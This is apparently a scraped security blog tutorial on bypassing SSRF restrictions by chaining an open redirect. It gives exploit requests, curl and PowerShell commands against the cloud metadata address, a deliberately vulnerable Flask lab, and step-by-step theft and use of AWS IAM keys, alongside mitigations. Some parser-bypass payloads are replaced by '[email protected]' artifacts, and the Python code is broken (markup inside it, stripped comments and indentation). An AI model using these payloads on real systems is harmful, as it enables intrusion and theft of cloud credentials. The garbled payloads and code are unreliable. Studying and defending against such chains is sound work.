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Introduction:
Server‑Side Request Forgery (SSRF) occurs when an attacker tricks a server into making unintended requests to internal or external resources. Developers often block direct SSRF by restricting outbound requests to local addresses only, but this protection can be silently bypassed when an open redirect vulnerability exists elsewhere in the application. As demonstrated in a real‑world VAPT exercise, chaining an open redirect with a restricted SSRF allows an attacker to force the server to follow a seemingly local redirect and ultimately reach internal systems, such as admin panels or cloud metadata endpoints.
Learning Objectives:
- Understand how open redirects can be leveraged to bypass host‑based SSRF restrictions.
- Learn step‑by‑step exploitation using Burp Suite and custom payloads.
- Implement secure redirect validation and SSRF hardening techniques for Linux/Windows environments.
You Should Know:
- The Anatomy of the SSRF + Open Redirect Chain
This technique exploits the application’s trust in internal redirects. The stock‑check feature only validates the initial request path; it does not re‑validate the destination after a redirect. By injecting an open redirect that points to an internal resource, the server follows the redirect and accesses protected endpoints.
Step‑by‑step guide (using Burp Suite):
- Intercept a request to a functionality that fetches external data (e.g.,
/stock?url=product_image.jpg). - Attempt a direct SSRF: change the parameter to `http://169.254.169.254/latest/meta-data/`. If the request is blocked (e.g., “Only local application requests are allowed”), direct SSRF is restricted.
- Find an open redirect elsewhere in the app (e.g., `/redirect?next=/product` that reflects the `next` parameter in the `Location` header).
- Chain them: send the SSRF‑vulnerable endpoint a URL that points to the open redirect, which itself redirects to the internal endpoint:
POST /stock HTTP/1.1 Host: vulnerable.com url=http://vulnerable.com/redirect?next=http://169.254.169.254/latest/meta-data/
- The server validates the initial URL as “local” (same host). It follows the 302 redirect to the metadata IP, which is blocked by a direct call but allowed via the redirect chain.
- Observe the response containing internal metadata – SSRF bypass achieved.
Linux command to simulate redirect validation:
curl -L "http://vulnerable.com/stock?url=http://vulnerable.com/redirect?next=http://169.254.169.254/latest/meta-data/"
The `-L` flag makes curl follow redirects, mimicking the server’s behaviour.
- Building a Vulnerable Lab to Test the Bypass
Set up a minimal Flask application that replicates the flawed logic. This helps you practice detection and exploitation safely.
Step‑by‑step guide (Linux/macOS):
1. Create `app.py`:
from flask import Flask, request, redirect, Response
import requests
app = Flask(<strong>name</strong>)
Open redirect endpoint
@app.route('/redirect')
def open_redirect():
target = request.args.get('next', '/')
return redirect(target)
SSRF endpoint with weak validation
@app.route('/fetch')
def fetch():
url = request.args.get('url', '')
Only allow URLs that start with the application's own hostname
if not url.startswith('http://localhost:5000'):
return "External URLs blocked", 403
Follow redirects without re-validation
resp = requests.get(url, allow_redirects=True)
return resp.text
if <strong>name</strong> == '<strong>main</strong>':
app.run(host='0.0.0.0', port=5000)
2. Run the lab:
python3 app.py
3. Exploit the chain:
Direct SSRF to internal (blocked) curl "http://localhost:5000/fetch?url=http://169.254.169.254/" Expected: 403 Forbidden Bypass via open redirect curl -L "http://localhost:5000/fetch?url=http://localhost:5000/redirect?next=http://169.254.169.254/"
The server follows the redirect and returns the metadata (if running in a cloud environment).
Windows PowerShell alternative:
Invoke-WebRequest -Uri "http://localhost:5000/fetch?url=http://localhost:5000/redirect?next=http://169.254.169.254/" -MaximumRedirection 5
3. Mitigation: Secure Redirect Validation & SSRF Hardening
To prevent this chain, you must validate every redirect destination, not just the initial URL. Implement an allowlist of permitted domains and reject any redirect that leaves the authorized scope.
Step‑by‑step guide (Python example):
from urllib.parse import urlparse
import requests
ALLOWED_HOSTS = {'api.internal.com', 'localhost'}
def safe_fetch(initial_url):
current_url = initial_url
for _ in range(5): limit redirect depth
resp = requests.get(current_url, allow_redirects=False)
if 300 <= resp.status_code < 400:
next_url = resp.headers['Location']
Validate the redirect destination
parsed = urlparse(next_url)
if parsed.hostname not in ALLOWED_HOSTS:
raise ValueError("Redirect to forbidden host")
current_url = next_url
else:
return resp.text
raise Exception("Too many redirects")
Linux hardening (block outbound metadata requests):
Drop packets to cloud metadata IPs via iptables sudo iptables -A OUTPUT -d 169.254.169.254 -j DROP sudo iptables -A OUTPUT -d 192.0.2.0/24 -j DROP example internal range
Windows hardening (using Windows Defender Firewall):
New-NetFirewallRule -DisplayName "Block Metadata" -Direction Outbound -RemoteAddress 169.254.169.254 -Action Block
4. Advanced Bypass Techniques & Defense in Depth
Attackers may use DNS rebinding, URL encoding tricks, or inconsistent parsers to bypass naive allowlists. For example, `http://[email protected]/` might parse as host `localhost` but resolve to the metadata IP.
Step‑by‑step guide to test for parser inconsistencies:
- Send SSRF payloads with embedded credentials or fragments:
http://localhost:[email protected]/ http://127.0.0.1:[email protected]/
2. Use different encodings (octal, hex, double‑URL‑encode):
http://0x7f000001/ 127.0.0.1 in hex
3. If the application uses a regex that extracts the first hostname, it may allow bypass.
Defense:
- Use a strict allowlist of IPs/hostnames, not regex or string checking.
- For internal requests, use a dedicated HTTP client that forbids redirects to non‑allowlisted targets.
- On cloud platforms, enforce IMDSv2 (requires `PUT` token) which reduces SSRF impact.
AWS IMDSv2 hardening example:
Require token for metadata access aws ec2 modify-instance-metadata-options --instance-id i-12345 --http-tokens required --http-endpoint enabled
- Real‑World Impact: Accessing Internal Admin Panels & Cloud Secrets
Using the open‑redirect SSRF bypass, an attacker can:
- Read cloud instance metadata (IAM credentials, user data).
- Access internal administration interfaces (e.g., `http://internal-admin/delete_user`).
– Port‑scan internal networks by measuring response times or error messages.
– Exploit internal services like Redis, Memcached, or Jenkins.Step‑by‑step exploitation to retrieve AWS keys:
1. Chain the redirect to `http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role`
2. Capture the returned JSON containing `AccessKeyId` andSecretAccessKey.
- Use the keys to enumerate AWS resources from an external attacker machine:
export AWS_ACCESS_KEY_ID=AKIA... export AWS_SECRET_ACCESS_KEY=... aws s3 ls list S3 buckets
Mitigation:
- Disable unused internal endpoints.
- Apply network‑level segmentation (firewall rules to allow only specific services).
- Always use IMDSv2 with token requirements.
What Undercode Say:
- Key Takeaway 1: Input validation must be applied recursively – an open redirect anywhere in the application can nullify SSRF restrictions.
- Key Takeaway 2: Redirect validation should inspect the final destination after following all redirects, not the first URL.
- Key Takeaway 3: Defense in depth includes network blocks, IMDSv2, and allowlists; never trust user‑supplied URLs to stay within bounds.
- Analysis: The chaining of seemingly low‑risk vulnerabilities (open redirect) with high‑impact ones (SSRF) is often missed by scanners and manual tests. This case highlights the need for holistic threat modelling – a closed redirect policy (only allow relative paths or fixed domains) would have broken the chain. Additionally, using an HTTP client that cannot follow redirects to external domains, or one that re‑validates each hop, is a robust architectural fix. The industry trend towards API gateways and service meshes can enforce such policies centrally.
Prediction:
As microservices and internal APIs proliferate, SSRF combined with open redirects will become a top‑tier attack vector for cloud environment takeovers. Automated scanners will begin to include redirect‑chain analysis, but attackers will shift to exploiting inconsistent parsers between different components (e.g., frontend proxy vs backend app). In the next 12–18 months, expect more CVEs involving SSRF bypass via HTTP‑to‑HTTPS redirects, non‑standard port handling, and differential parsing of IPv6 zones. Organisations that fail to implement redirect allowlists and upgrade to IMDSv2 will face a surge in internal data breaches originating from web application flaws.
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IT/Security Reporter URL:
Reported By: Aditya Malode – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
